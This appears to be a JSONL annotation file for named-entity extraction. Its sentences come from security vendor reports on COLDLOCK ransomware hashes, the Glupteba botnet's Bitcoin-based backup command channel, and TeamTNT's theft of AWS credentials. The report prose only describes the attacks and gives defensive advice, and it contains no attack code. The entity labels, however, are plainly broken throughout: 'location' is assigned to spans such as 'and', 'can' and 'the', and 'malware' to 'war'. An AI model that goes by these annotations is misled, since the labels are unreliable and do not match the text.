-{"id":12670,"text":"Trend Micro Smart Protection Suites - Applies AI and analytics for earlier detection of threats across endpoints and other layers of the system Trend Micro™ Deep Discovery™– Detects, blocks, and analyzes malicious email attachments through custom sandboxing and other detection techniques   Trend Micro Safe Lock™ TXOne Edition locks down system functionality to allow only authorized applications and services to be run on mission-critical assets.","entities":[{"id":39306,"label":"location","start_offset":18,"end_offset":28},{"id":39307,"label":"location","start_offset":49,"end_offset":52},{"id":39308,"label":"location","start_offset":113,"end_offset":116},{"id":39309,"label":"location","start_offset":150,"end_offset":155},{"id":39310,"label":"location","start_offset":191,"end_offset":194},{"id":39311,"label":"location","start_offset":258,"end_offset":261},{"id":39313,"label":"location","start_offset":369,"end_offset":373},{"id":39314,"label":"location","start_offset":398,"end_offset":401},{"id":39315,"label":"location","start_offset":424,"end_offset":431}],"relations":[],"Comments":[]}
-{"id":12671,"text":"It has negligible impact on system performance compared to traditional cybersecurity software, which requires an internet connection, periodic updates, and regular malware scans.","entities":[{"id":39316,"label":"location","start_offset":18,"end_offset":24},{"id":39317,"label":"location","start_offset":152,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":12672,"text":"It provides control of operational integrity while efficiently reducing the chance of downtime and cost of maintaining resilience.","entities":[{"id":39318,"label":"location","start_offset":76,"end_offset":82},{"id":39319,"label":"location","start_offset":95,"end_offset":98},{"id":39320,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":12673,"text":"Indicators of Compromise  SHA-256 hash Detection Name 08677a3dac3609d13dc4a2a6868ee2f6c1334f4579356d162b706a03839bb9ff Ransom.PS1.COLDLOCK.YPAE-A c5108344e8a6da617af1c4a7fd8924a64130b4c86fa0f6d6225bb75534a80a35 Ransom.MSIL.COLDLOCK.YPAE-A   All Trend Micro products using the latest VSAPI pattern (15.849.00 or later) are capable of successful detection of this malware.","entities":[{"id":39321,"label":"SHA2","start_offset":54,"end_offset":118},{"id":39322,"label":"location","start_offset":119,"end_offset":125},{"id":39323,"label":"SHA2","start_offset":146,"end_offset":210},{"id":39324,"label":"location","start_offset":211,"end_offset":217},{"id":39325,"label":"location","start_offset":251,"end_offset":256},{"id":39326,"label":"location","start_offset":318,"end_offset":321}],"relations":[],"Comments":[]}
-{"id":12674,"text":"       Tags  APT & Targeted Attacks | Endpoints | Research | Ransomware | Network","entities":[{"id":39327,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12675,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":12676,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":12677,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":39330,"label":"location","start_offset":119,"end_offset":122},{"id":39331,"label":"malware","start_offset":123,"end_offset":127},{"id":39332,"label":"location","start_offset":157,"end_offset":160},{"id":39333,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":12678,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":39336,"label":"location","start_offset":43,"end_offset":46},{"id":39337,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":12679,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":39338,"label":"tools","start_offset":48,"end_offset":54},{"id":39339,"label":"location","start_offset":55,"end_offset":58},{"id":39340,"label":"location","start_offset":59,"end_offset":67},{"id":39341,"label":"location","start_offset":84,"end_offset":87},{"id":39342,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":12680,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":39345,"label":"location","start_offset":37,"end_offset":43},{"id":39346,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12681,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":39347,"label":"location","start_offset":16,"end_offset":22},{"id":39348,"label":"location","start_offset":23,"end_offset":27},{"id":39349,"label":"location","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":12682,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":39352,"label":"location","start_offset":35,"end_offset":38},{"id":39353,"label":"location","start_offset":39,"end_offset":45},{"id":39354,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":12683,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":39356,"label":"location","start_offset":44,"end_offset":47},{"id":39357,"label":"location","start_offset":57,"end_offset":61},{"id":39358,"label":"location","start_offset":105,"end_offset":108},{"id":39359,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12684,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":39364,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":12685,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":39366,"label":"malware","start_offset":4,"end_offset":12},{"id":39367,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":12686,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":39368,"label":"location","start_offset":16,"end_offset":20},{"id":39370,"label":"malware","start_offset":70,"end_offset":78},{"id":39371,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":12687,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":39372,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":12688,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":39373,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":12689,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":39375,"label":"location","start_offset":73,"end_offset":83},{"id":39376,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":12690,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":39377,"label":"location","start_offset":129,"end_offset":132},{"id":39378,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
 {"id":12691,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":39383,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":12692,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":39391,"label":"location","start_offset":106,"end_offset":111},{"id":39392,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12693,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":39397,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12694,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":39399,"label":"location","start_offset":80,"end_offset":83},{"id":39402,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":12695,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":39403,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12696,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":39406,"label":"location","start_offset":36,"end_offset":39},{"id":39410,"label":"malware","start_offset":179,"end_offset":187},{"id":39411,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":12697,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":39418,"label":"location","start_offset":192,"end_offset":195},{"id":39419,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":12698,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":39420,"label":"location","start_offset":20,"end_offset":23},{"id":39421,"label":"location","start_offset":39,"end_offset":43},{"id":39423,"label":"location","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":12699,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[{"id":39424,"label":"location","start_offset":12,"end_offset":15},{"id":39425,"label":"location","start_offset":94,"end_offset":97},{"id":39426,"label":"location","start_offset":113,"end_offset":120},{"id":39427,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":12700,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]}
-{"id":12701,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:  The following 32 byte AES keys for decryption are hard coded in the binaries:  The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[{"id":39428,"label":"location","start_offset":75,"end_offset":78},{"id":39430,"label":"location","start_offset":231,"end_offset":234},{"id":39431,"label":"location","start_offset":235,"end_offset":239},{"id":39432,"label":"location","start_offset":308,"end_offset":311},{"id":39433,"label":"location","start_offset":371,"end_offset":374}],"relations":[],"Comments":[]}
-{"id":12702,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[{"id":39434,"label":"location","start_offset":94,"end_offset":100},{"id":39435,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":12703,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":39436,"label":"malware","start_offset":16,"end_offset":24},{"id":39437,"label":"location","start_offset":44,"end_offset":47},{"id":39439,"label":"location","start_offset":127,"end_offset":130},{"id":39440,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12704,"text":"Recent domains used for command and control:","entities":[{"id":39441,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":12705,"text":" Recent sha256 hashes of malware samples:  This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12706,"text":"It was last updated on February 7, 2022.","entities":[],"relations":[],"Comments":[]}
-{"id":12707,"text":"Having covered TeamTNT in several of our blog entries over the past couple of years, we embarked on a research that encompasses the malicious actor group’s campaigns, tools, and techniques in 2020 and early 2021.","entities":[{"id":39446,"label":"location","start_offset":174,"end_offset":177},{"id":39448,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":12708,"text":"Although believed to have been active since 2011, TeamTNT stayed under the radar for many years before exploding onto the scene in 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":12709,"text":"In the past year, the group launched a few preliminary campaigns, including such notable ones as a series of cryptocurrency mining and distributed denial-of-service (DDoS) attacks on Docker Daemon parts, and a campaign where it deployed a DDoS-capable IRC (Internet Relay Chat) bot.","entities":[{"id":39455,"label":"location","start_offset":131,"end_offset":134},{"id":39456,"label":"location","start_offset":204,"end_offset":207},{"id":39457,"label":"location","start_offset":210,"end_offset":218},{"id":39458,"label":"location","start_offset":272,"end_offset":276}],"relations":[],"Comments":[]}
-{"id":12710,"text":"Things ramped up in early 2021, as TeamTNT initiated a number of new campaigns targeting various cloud services and using tools and techniques such as malicious shell scripts and other credential harvesting software to steal cloud credentials.","entities":[{"id":39461,"label":"location","start_offset":97,"end_offset":102},{"id":39462,"label":"location","start_offset":112,"end_offset":115},{"id":39463,"label":"location","start_offset":128,"end_offset":131},{"id":39464,"label":"location","start_offset":161,"end_offset":166},{"id":39465,"label":"location","start_offset":175,"end_offset":178},{"id":39466,"label":"location","start_offset":225,"end_offset":230}],"relations":[],"Comments":[]}
-{"id":12711,"text":"Probing for and exploiting security weaknesses        Figure 1.","entities":[{"id":39467,"label":"location","start_offset":12,"end_offset":15},{"id":39468,"label":"location","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12712,"text":"The typical infection chain used by TeamTNT      What makes TeamTNT particularly noteworthy is not only its targets — primarily cloud-based software and services — but also how quickly it has evolved existing techniques and integrated new ones into its campaigns.","entities":[{"id":39472,"label":"location","start_offset":99,"end_offset":103},{"id":39473,"label":"location","start_offset":128,"end_offset":133},{"id":39474,"label":"location","start_offset":149,"end_offset":152},{"id":39475,"label":"location","start_offset":220,"end_offset":223}],"relations":[],"Comments":[]}
-{"id":12713,"text":"Be that as it may, in most of the group’s campaigns, TeamTNT’s method of entry is more or less consistent: It uses a number of tools to scan the internet for potential targets with misconfigurations and vulnerabilities, and takes advantage of these weaknesses to gain a foothold in the systems.","entities":[{"id":39476,"label":"location","start_offset":14,"end_offset":17},{"id":39477,"label":"location","start_offset":22,"end_offset":26},{"id":39479,"label":"location","start_offset":199,"end_offset":202},{"id":39480,"label":"location","start_offset":220,"end_offset":223}],"relations":[],"Comments":[]}
-{"id":12714,"text":"TeamTNT specializes in finding exploitable gaps in security, be they unsecured Redis instances, exposed Docker APIs, vulnerable internet-of-things (IoT) devices, or leaked credentials.","entities":[{"id":39482,"label":"location","start_offset":51,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":12715,"text":"For a victim organization, the group’s payloads, if successfully deployed, could at best be disruptive — as with cryptocurrency miners — and at worst cause heavy monetary loss and even reputational damage — especially if the group manages to exfiltrate credentials and other sensitive information from the organization.","entities":[{"id":39484,"label":"location","start_offset":84,"end_offset":88},{"id":39485,"label":"location","start_offset":137,"end_offset":140},{"id":39486,"label":"location","start_offset":176,"end_offset":179},{"id":39487,"label":"location","start_offset":265,"end_offset":268}],"relations":[],"Comments":[]}
-{"id":12716,"text":"Dealing with misconfigurations and other security concerns TeamTNT has largely been successful because of various exploitable security weaknesses.","entities":[{"id":39488,"label":"location","start_offset":31,"end_offset":34},{"id":39489,"label":"location","start_offset":41,"end_offset":49},{"id":39491,"label":"location","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12717,"text":"While it is admittedly difficult to completely eliminate these, enterprises need to prioritize security as much as they can.","entities":[{"id":39492,"label":"location","start_offset":95,"end_offset":103},{"id":39493,"label":"location","start_offset":107,"end_offset":111},{"id":39494,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12718,"text":"They should implement the most effective strategies for protecting the cloud from external attacks, while also being mindful of which aspects of the shared responsibility model they need to be accountable for.","entities":[{"id":39495,"label":"location","start_offset":26,"end_offset":30},{"id":39496,"label":"location","start_offset":71,"end_offset":76},{"id":39497,"label":"location","start_offset":171,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":12719,"text":"Here are several best practices that organizations should consider putting into place:  Grant users access only to the parts of the system they need in order to reduce possible entry points and contain damage even in the event of a successful attack.","entities":[{"id":39498,"label":"location","start_offset":5,"end_offset":8},{"id":39499,"label":"location","start_offset":17,"end_offset":21},{"id":39500,"label":"location","start_offset":88,"end_offset":93},{"id":39501,"label":"location","start_offset":107,"end_offset":111},{"id":39502,"label":"location","start_offset":183,"end_offset":189},{"id":39503,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
 {"id":12720,"text":"This is known as the principle of least privilege.","entities":[],"relations":[],"Comments":[]}
 {"id":12721,"text":"Implement private keys authentication for Secure Shell (SSH) on the client side for stronger access control security.","entities":[{"id":39504,"label":"attack-pattern","start_offset":10,"end_offset":22},{"id":39505,"label":"location","start_offset":49,"end_offset":54},{"id":39506,"label":"location","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":12722,"text":"Regularly patch and update systems and devices to minimize instances of vulnerability exploitation.","entities":[{"id":39507,"label":"location","start_offset":16,"end_offset":19},{"id":39508,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":12723,"text":"For organizations that need time to implement patches, virtual patching can provide buffer time, helping protect their systems from vulnerabilities while updates are still being prepared.  Enterprises should also consider using security solutions such as the Trend Micro Cloud One™ platform, which protects cloud-native systems by securing continuous-integration and continuous-delivery (CI\/CD) pipelines and applications.","entities":[{"id":39509,"label":"location","start_offset":28,"end_offset":32},{"id":39510,"label":"location","start_offset":72,"end_offset":75},{"id":39511,"label":"location","start_offset":91,"end_offset":95},{"id":39512,"label":"location","start_offset":162,"end_offset":165},{"id":39513,"label":"location","start_offset":228,"end_offset":236},{"id":39515,"label":"location","start_offset":271,"end_offset":276},{"id":39516,"label":"location","start_offset":277,"end_offset":280},{"id":39517,"label":"location","start_offset":307,"end_offset":312},{"id":39518,"label":"location","start_offset":363,"end_offset":366},{"id":39519,"label":"location","start_offset":405,"end_offset":408}],"relations":[],"Comments":[]}
-{"id":12724,"text":"The platform includes:  Workload Security: runtime protection for workloads Container Security: automated container image and registry scanning File Storage Security: security for cloud files and object storage services Network Security: cloud network layer for intrusion prevention system (IPS) security Application Security: security for serverless functions, APIs, and applications Conformity: real-time security for cloud infrastructure — secure, optimize, comply      Our research paper, titled “Tracking the Activities of TeamTNT: A Closer Look at a Cloud-Focused Malicious Actor Group,” provides an overview of how the group operates, with emphasis on the primary tools, techniques, and payloads it uses in its campaigns.     Tags  Cloud | APT & Targeted Attacks | Research | Articles, News, Reports","entities":[{"id":39520,"label":"location","start_offset":33,"end_offset":41},{"id":39521,"label":"location","start_offset":51,"end_offset":61},{"id":39522,"label":"location","start_offset":86,"end_offset":94},{"id":39523,"label":"location","start_offset":122,"end_offset":125},{"id":39524,"label":"location","start_offset":157,"end_offset":165},{"id":39525,"label":"location","start_offset":167,"end_offset":175},{"id":39526,"label":"location","start_offset":180,"end_offset":185},{"id":39527,"label":"location","start_offset":192,"end_offset":195},{"id":39528,"label":"location","start_offset":228,"end_offset":236},{"id":39529,"label":"location","start_offset":238,"end_offset":243},{"id":39530,"label":"location","start_offset":296,"end_offset":304},{"id":39531,"label":"location","start_offset":317,"end_offset":325},{"id":39532,"label":"location","start_offset":327,"end_offset":335},{"id":39533,"label":"location","start_offset":368,"end_offset":371},{"id":39534,"label":"location","start_offset":397,"end_offset":401},{"id":39535,"label":"location","start_offset":402,"end_offset":406},{"id":39536,"label":"location","start_offset":407,"end_offset":415},{"id":39537,"label":"location","start_offset":420,"end_offset":425},{"id":39539,"label":"location","start_offset":690,"end_offset":693},{"id":39540,"label":"location","start_offset":739,"end_offset":744},{"id":39541,"label":"location","start_offset":747,"end_offset":750}],"relations":[],"Comments":[]}
-{"id":12725,"text":"We covered the threat actor group TeamTNT in previous entries, noting that they were actively stealing Amazon Web Services (AWS), Docker and Linux Secure Shell (SSH) credentials as well as participating in other activities, including cryptojacking and placing backdoors ��� such as IRC bots and remote shells — inside Linux devices.","entities":[{"id":39543,"label":"location","start_offset":137,"end_offset":140},{"id":39544,"label":"location","start_offset":154,"end_offset":159},{"id":39545,"label":"location","start_offset":248,"end_offset":251},{"id":39546,"label":"location","start_offset":289,"end_offset":292},{"id":39547,"label":"location","start_offset":293,"end_offset":299}],"relations":[],"Comments":[]}
 {"id":12726,"text":" However, the scope of the attack remained unknown.","entities":[],"relations":[],"Comments":[]}
-{"id":12727,"text":"While investigating the team's activities, we found a binary containing a hardcoded shell script designed to steal AWS credentials, which provided us a lead on the scope of the attack.","entities":[{"id":39548,"label":"location","start_offset":84,"end_offset":89},{"id":39550,"label":"location","start_offset":152,"end_offset":156}],"relations":[],"Comments":[]}
 {"id":12728,"text":"     Figure 1: IRC bot dropping encoded shell script (detected as Backdoor.Linux.TSUNAMI.USELVBF21)      We begin by examining the dropped script from a new AWS-focused credential stealer.","entities":[{"id":39552,"label":"location","start_offset":40,"end_offset":45},{"id":39554,"label":"malware","start_offset":180,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":12729,"text":"As the image in Figure 2 shows, after the actor compromises an instance and runs their script, it searches for any credentials deployed via the AWS metadata service, as we previously highlighted.","entities":[{"id":39556,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":12730,"text":"To gather these credentials, the attacker must perform remote code execution (RCE) on the initial target, which can be accomplished via a number of methods, including abusing the abuse of such as abusing misconfiguration issues or the exploitation of exploiting unpatched vulnerabilities and other security flaws.","entities":[{"id":39558,"label":"location","start_offset":55,"end_offset":61},{"id":39559,"label":"location","start_offset":98,"end_offset":104},{"id":39560,"label":"location","start_offset":112,"end_offset":115},{"id":39561,"label":"location","start_offset":288,"end_offset":291},{"id":39562,"label":"location","start_offset":298,"end_offset":306}],"relations":[],"Comments":[]}
 {"id":12731,"text":"An AWS instance, by default, does not have any identity access management (IAM) permissions attached; rather, these permissions must be defined by the AWS administrator.","entities":[],"relations":[],"Comments":[]}
 {"id":12732,"text":"AWS administrators should follow the principle of least privilege when attaching roles to an AWS instance.","entities":[],"relations":[],"Comments":[]}
-{"id":12733,"text":"Regardless of whether this search is successful or not, the script creates a file and then uploads it to a remote web server that is set to receive the stolen files.      Figure 2. Malicious shell scripts stealing secrets      Although the script is meant to run on AWS instances, our analysis reveals that it ran on any kind of Linux machine, container, or cloud instance when they are compromised by this actor.","entities":[{"id":39567,"label":"location","start_offset":82,"end_offset":85},{"id":39568,"label":"location","start_offset":107,"end_offset":113},{"id":39570,"label":"location","start_offset":191,"end_offset":196},{"id":39572,"label":"location","start_offset":358,"end_offset":363},{"id":39573,"label":"location","start_offset":383,"end_offset":386}],"relations":[],"Comments":[]}
-{"id":12734,"text":"Additionally, it failed to retrieve any useful data most of the times.","entities":[{"id":39574,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":12735,"text":"The web server where the malware uploads its data was configured (or misconfigured) to be set as open directory, thus allowing access to all the uploaded files — including data on targets to be further compromised, stolen files, and statistics of ongoing attacks.      Figure 3. Open directory with malware, stolen credentials and statistics     Alongside storing the stolen data, the server also serves as a repository for Linux cryptocurrency-mining tools that the group deploys on infected systems, which is part of their objectives.","entities":[{"id":39575,"label":"location","start_offset":229,"end_offset":232},{"id":39577,"label":"location","start_offset":327,"end_offset":330}],"relations":[],"Comments":[]}
 {"id":12736,"text":"     Figure 4. Other binaries found on the open directory     ","entities":[],"relations":[],"Comments":[]}
 {"id":12737,"text":"If the group succeeds in running their malicious script on an AWS instance, the script uploads any credentials that it is able to retrieve from the instance metadata service.","entities":[],"relations":[],"Comments":[]}
-{"id":12738,"text":"If an AWS administrator has not attached any permissions to these credentials, then they will not grant the attacker any additional access.","entities":[{"id":39581,"label":"location","start_offset":89,"end_offset":93},{"id":39582,"label":"location","start_offset":98,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":12739,"text":"AWS administrators can also detect the use of these instance credentials outside of AWS by enabling the UnauthorizedAccess:IAMUser\/InstanceCredentialExfiltration finding in Amazon GuardDuty.","entities":[{"id":39584,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":12740,"text":"     Figure 5. Example of a report with stolen secrets     Conclusion and impact","entities":[{"id":39587,"label":"location","start_offset":70,"end_offset":73},{"id":39588,"label":"location","start_offset":74,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":12741,"text":"During our research, we noticed over 4,000 infected instances.","entities":[],"relations":[],"Comments":[]}
-{"id":12742,"text":"While not all of them necessarily ran on AWS instances, the malware that was deployed against them was designed to target AWS users (due to the shell script looking for AWS services metadata that is present only with AWS services).","entities":[{"id":39590,"label":"location","start_offset":17,"end_offset":21},{"id":39592,"label":"location","start_offset":94,"end_offset":98},{"id":39593,"label":"location","start_offset":115,"end_offset":121},{"id":39595,"label":"location","start_offset":144,"end_offset":149},{"id":39597,"label":"location","start_offset":207,"end_offset":211}],"relations":[],"Comments":[]}
-{"id":12743,"text":"From the total number, around 5% or approximately 200 of them contained sensitive information on AWS costumers.","entities":[{"id":39601,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":12744,"text":"Note that AWS instances will not have permissions defined unless the user specifically takes action for such.","entities":[{"id":39604,"label":"location","start_offset":24,"end_offset":28},{"id":39605,"label":"location","start_offset":93,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12745,"text":"Based on the timestamps in the file names, we can assume that the campaign started on February 10, 2021.","entities":[{"id":39606,"label":"location","start_offset":46,"end_offset":49},{"id":39607,"label":"location","start_offset":66,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":12746,"text":"In addition, we can also assume that the number of files represents the number of infected machines.","entities":[{"id":39609,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":12747,"text":"As a result of observing TeamTNT for a while now, we are able to note that they are following IT industry trends and shifting to the cloud as well.","entities":[{"id":39611,"label":"location","start_offset":53,"end_offset":56},{"id":39612,"label":"location","start_offset":80,"end_offset":83},{"id":39613,"label":"location","start_offset":97,"end_offset":105},{"id":39614,"label":"location","start_offset":113,"end_offset":116},{"id":39615,"label":"location","start_offset":133,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":12748,"text":"Recommendations and Trend Micro Solutions","entities":[{"id":39616,"label":"location","start_offset":16,"end_offset":19},{"id":39617,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":12749,"text":"Given the increased focus on the cloud by threat actor groups, organizations should take the necessary steps to secure as much of their cloud infrastructure as they can.","entities":[{"id":39618,"label":"location","start_offset":0,"end_offset":5},{"id":39619,"label":"location","start_offset":33,"end_offset":38},{"id":39620,"label":"location","start_offset":122,"end_offset":126},{"id":39621,"label":"location","start_offset":136,"end_offset":141},{"id":39622,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":12750,"text":"Most cloud service providers, including AWS, follow the shared responsibility model for securing the cloud.","entities":[{"id":39623,"label":"location","start_offset":0,"end_offset":4},{"id":39624,"label":"location","start_offset":5,"end_offset":10},{"id":39626,"label":"location","start_offset":78,"end_offset":83},{"id":39627,"label":"location","start_offset":101,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12751,"text":"Following  this model, the cloud provider is responsible for securing the infrastructure — such as the hardware, software, networking, and facilities —  needed to run the cloud service.","entities":[{"id":39628,"label":"location","start_offset":16,"end_offset":21},{"id":39629,"label":"location","start_offset":27,"end_offset":32},{"id":39630,"label":"location","start_offset":135,"end_offset":138},{"id":39631,"label":"location","start_offset":171,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":12752,"text":"On the other hand, AWS adminstrators are tasked with the responsibility of securing their assets running within the cloud service.","entities":[{"id":39632,"label":"location","start_offset":13,"end_offset":17},{"id":39634,"label":"location","start_offset":37,"end_offset":40},{"id":39635,"label":"location","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":12753,"text":"Although the specifics differ depending on the type of cloud service being used, AWS administrators are generally expected to secure their own data, platforms, applications, operating systems, and network configurations, among others.","entities":[{"id":39636,"label":"location","start_offset":47,"end_offset":51},{"id":39637,"label":"location","start_offset":55,"end_offset":60},{"id":39639,"label":"location","start_offset":100,"end_offset":103},{"id":39640,"label":"location","start_offset":193,"end_offset":196}],"relations":[],"Comments":[]}
-{"id":12754,"text":"As mentioned earlier, Team TNT is targeting cloud service providers and is able to compromise AWS instances based on a number of methods.","entities":[{"id":39642,"label":"location","start_offset":44,"end_offset":49},{"id":39643,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":12755,"text":"Hence on the shared responsibility model, the AWS administrator is responsible for securing its instances.","entities":[{"id":39645,"label":"location","start_offset":35,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":12756,"text":"We advise organizations to consider the following security measures:   Patch and update systems regularly to reduce the chance of vulnerability exploitation.","entities":[{"id":39647,"label":"location","start_offset":50,"end_offset":58},{"id":39648,"label":"location","start_offset":77,"end_offset":80},{"id":39649,"label":"location","start_offset":120,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":12757,"text":"Apply the principle of least privilege, which helps reduce the attack surface and minimizes the damage potential of an attack.","entities":[{"id":39650,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12758,"text":"For this specific TeamTNT attack, granting access to security information only to those who need it can prevent the threat actors from leaking the information.","entities":[{"id":39652,"label":"location","start_offset":53,"end_offset":61},{"id":39653,"label":"location","start_offset":74,"end_offset":78},{"id":39654,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":12759,"text":"Prioritize the continuous monitoring and auditing of devices, especially if these are used to access the organization’s network.","entities":[{"id":39655,"label":"location","start_offset":37,"end_offset":40},{"id":39656,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":12760,"text":"Use private key authentication when you have SSH enabled inside your instance.","entities":[],"relations":[],"Comments":[]}
